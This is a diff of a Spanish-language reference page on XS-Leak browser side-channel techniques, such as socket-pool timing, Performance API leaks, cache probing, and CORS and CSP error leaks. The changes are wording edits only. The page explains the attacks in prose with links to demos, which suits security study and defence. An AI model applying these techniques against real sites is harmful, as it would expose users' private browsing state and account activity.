-Es posible identificar si, y cuántas, **conexiones de WebSocket usa una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
+Es posible identificar si, y cuántas, **conexiones de WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
 
 Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado la web objetivo, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
 
@@ -212,7 +212,7 @@ Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSoc
 - **Resumen**: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
-Esta fuga XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
+Esta fuga de XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
 
 Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallará y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
 
@@ -238,7 +238,7 @@ JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hi
 - **Métodos de Inclusión**:
 - **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
+- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
 - **Ejemplo de Código**:
 
 Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras protectoras establecidas por **Site Isolation**.
@@ -263,7 +263,7 @@ Los navegadores utilizan sockets para la comunicación con el servidor, pero deb
 1. Determinar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
 2. Ocupando 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completarse.
 3. Utilizar el socket 256 para enviar una solicitud a la página objetivo.
-4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
+4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
 
 Para más info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -272,15 +272,15 @@ Para más info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool
 - **Métodos de Inclusión**: Solicitudes de JavaScript
 - **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**:
-- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tardará **más** y podemos detectarlo.
+- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** pone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
 
 ## Técnicas de API de Rendimiento
 
-La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
+La [`API de Rendimiento`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`API de Temporización de Recursos`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La API de Temporización de Recursos permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
 
 Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución al calcular la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
 
-Más allá de las mediciones de temporización, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
+Más allá de las mediciones de temporización, la API de Rendimiento puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
 
 ### Fuga de Errores
 
@@ -290,7 +290,7 @@ Más allá de las mediciones de temporización, la Performance API puede ser apr
 - **Resumen:** Una solicitud que resulta en errores no creará una entrada de temporización de recursos.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
-Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** **no crean una entrada de rendimiento**.
+Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** no **crean una entrada de rendimiento**.
 
 ### Error de Recarga de Estilo
 
@@ -300,7 +300,7 @@ Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las
 - **Resumen:** Debido a un error del navegador, las solicitudes que resultan en errores se cargan dos veces.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan al cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
+En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan en cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
 
 ### Error de Fusión de Solicitudes
 
@@ -322,17 +322,17 @@ La técnica se encontró en una tabla en el documento mencionado, pero no se enc
 
 Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las **páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
 
-### **Fuga del Auditor XSS**
+### **Fuga del Auditor de XSS**
 
 - **Métodos de Inclusión**: Frames
 - **Diferencia Detectable**: Contenido de la Página
 - **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Resumen:** Usando el Auditor XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
+- **Resumen:** Usando el Auditor de XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
+En Aserciones de Seguridad (SA), el Auditor de XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), aún está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor de XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor de XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor de XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir filtrándose.
 
-### Fuga X-Frame
+### Fuga de X-Frame
 
 - **Métodos de Inclusión**: Frames
 - **Diferencia Detectable**: Encabezado
@@ -351,7 +351,7 @@ Lo mismo ocurre si usas una etiqueta **embed**.
 - **Resumen:** Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
+Similar a la fuga de XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco **crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
 
 ### Fuga de Inicio de Redirección
 
@@ -361,7 +361,7 @@ Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabeza
 - **Resumen:** La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
+Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
 
 ### Fuga de Duración de Redirección
 
@@ -373,7 +373,7 @@ Encontramos una instancia de fuga XS que abusa del comportamiento de algunos nav
 
 En GC, la **duración** para solicitudes que resultan en una **redirección** es **negativa** y puede ser **distingida** de solicitudes que no resultan en una redirección.
 
-### Fuga CORP
+### Fuga de CORP
 
 - **Métodos de Inclusión**: Frames
 - **Diferencia Detectable**: Encabezado
@@ -381,20 +381,20 @@ En GC, la **duración** para solicitudes que resultan en una **redirección** es
 - **Resumen:** Los recursos protegidos con CORP no crean entradas de temporización de recursos.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
-En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
+En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, el nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
 
-### Worker de Servicio
+### Trabajador de Servicio
 
 - **Métodos de Inclusión**: Frames
 - **Diferencia Detectable**: Uso de API
 - **Más info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
-- **Resumen:** Detectar si un worker de servicio está registrado para un origen específico.
+- **Resumen:** Detectar si un trabajador de servicio está registrado para un origen específico.
 - **Ejemplo de Código**:
 
-Los workers de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
-Si un **recurso almacenado en caché** por un **worker de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del worker de servicio**.\
-Para detectar si el recurso fue **cargado desde la caché del worker de servicio**, se puede utilizar la **API de Rendimiento**.\
-Esto también podría hacerse con un ataque de temporización (consulta el documento para más información).
+Los trabajadores de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
+Si un **recurso almacenado en caché** por un **trabajador de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del trabajador de servicio**.\
+Para detectar si el recurso fue **cargado desde la caché del trabajador de servicio**, se puede utilizar la **API de Rendimiento**.\
+Esto también podría hacerse con un ataque de Temporización (consulta el documento para más información).
 
 ### Caché
 
@@ -406,7 +406,7 @@ Esto también podría hacerse con un ataque de temporización (consulta el docum
 
 Usando la [API de Rendimiento](./#performance-api) es posible verificar si un recurso está en caché.
 
-### Duración de Red de Solicitudes
+### Duración de la Red
 
 - **Métodos de Inclusión**: API Fetch
 - **Diferencia Detectable**: Contenido de la Página
@@ -476,17 +476,17 @@ La propiedad message de la interfaz `MediaError` identifica de manera única los
 
 - **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Encabezado
-- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
+- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
 - **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Esta técnica permite a un atacante **extraer el destino de la redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
+Esta técnica permite a un atacante **extraer el destino de una redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
 
 ### Error de SRI
 
 - **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Encabezado
-- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
+- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
 - **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
@@ -496,7 +496,7 @@ Un atacante puede explotar **mensajes de error verbosos** para deducir el tamañ
 
 - **Métodos de Inclusión**: Ventanas emergentes
 - **Diferencia Detectable**: Código de Estado
-- **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
+- **Más info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
 - **Resumen:** Permitir solo el sitio web de las víctimas en el CSP si se accede a él intenta redirigir a un dominio diferente, el CSP generará un error detectable.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
@@ -507,19 +507,19 @@ Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún
 
 - **Métodos de Inclusión**: Marcos, Ventanas emergentes
 - **Diferencia Detectable**: Contenido de la Página
-- **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
+- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
 - **Resumen:** Limpie el archivo de la caché. Abre la página objetivo y verifica si el archivo está presente en la caché.
 - **Ejemplo de Código:**
 
 Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha **solicitado un archivo específico**.
 
-Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, consulta los enlaces de más información), **realizar una solicitud** que podría cargar ese recurso y tratar de cargar el recurso **con una solicitud incorrecta** (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso **no generó ningún error**, es porque estaba **en caché**.
+Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, consulta más información en los enlaces), **realizar una solicitud** que podría cargar ese recurso y tratar de cargar el recurso **con una solicitud incorrecta** (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso **no generó ningún error**, es porque estaba **en caché**.
 
 ### Directiva CSP
 
 - **Métodos de Inclusión**: Marcos
 - **Diferencia Detectable**: Encabezado
-- **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
+- **Más info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
 - **Resumen:** Las directivas de encabezado CSP pueden ser sondeadas utilizando el atributo iframe de CSP, revelando detalles de la política.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
@@ -529,17 +529,17 @@ Una nueva característica en Google Chrome (GC) permite a las páginas web **pro
 
 - **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Encabezado
-- **Más información**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
-- **Resumen:** Los recursos asegurados con la Política de Recursos de Origen Cruzado (CORP) generarán un error cuando se recuperen desde un origen no permitido.
+- **Más info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
+- **Resumen:** Los recursos asegurados con la Política de Recursos de Origen Cruzado (CORP) generarán un error cuando se obtengan de un origen no permitido.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
 
-El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, **bloquea las solicitudes de origen cruzado sin CORS al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error cuando se recupere**.
+El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, **bloquea las solicitudes de origen cruzado sin CORS al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error cuando se obtenga**.
 
 ### CORB
 
 - **Métodos de Inclusión**: Elementos HTML
 - **Diferencia Detectable**: Encabezados
-- **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
+- **Más info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
 - **Resumen**: CORB puede permitir a los atacantes detectar cuando el **encabezado `nosniff` está presente** en la solicitud.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
 
@@ -549,20 +549,20 @@ Consulta el enlace para más información sobre el ataque.
 
 - **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Encabezados
-- **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
+- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 - **Resumen**: Si el encabezado Origin se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **recuperar** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**; si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
+En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si **no se genera** un **error**, significa que fue **recuperado correctamente de la web**; si se genera un error, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).\
 Ten en cuenta que si el origen no se refleja pero se usa un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
 
 ## Técnica de Atributos Legibles
 
-### Redirección Fetch
+### Redirección de Fetch
 
 - **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Código de Estado
-- **Más información**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
+- **Más info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
 - **Resumen:** GC y SA permiten verificar el tipo de respuesta (opaque-redirect) después de que se completa la redirección.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
 
@@ -572,7 +572,7 @@ Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros
 
 - **Métodos de Inclusión**: Ventanas emergentes
 - **Diferencia Detectable**: Encabezado
-- **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
+- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
 - **Resumen:** Las páginas protegidas por la Política de Apertura de Origen Cruzado (COOP) impiden el acceso desde interacciones de origen cruzado.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
@@ -582,22 +582,22 @@ Un atacante es capaz de deducir la presencia del encabezado de la Política de A
 
 - **Métodos de Inclusión**: Fetch API, Elementos HTML
 - **Diferencia Detectable**: Código de Estado / Contenido
-- **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
+- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
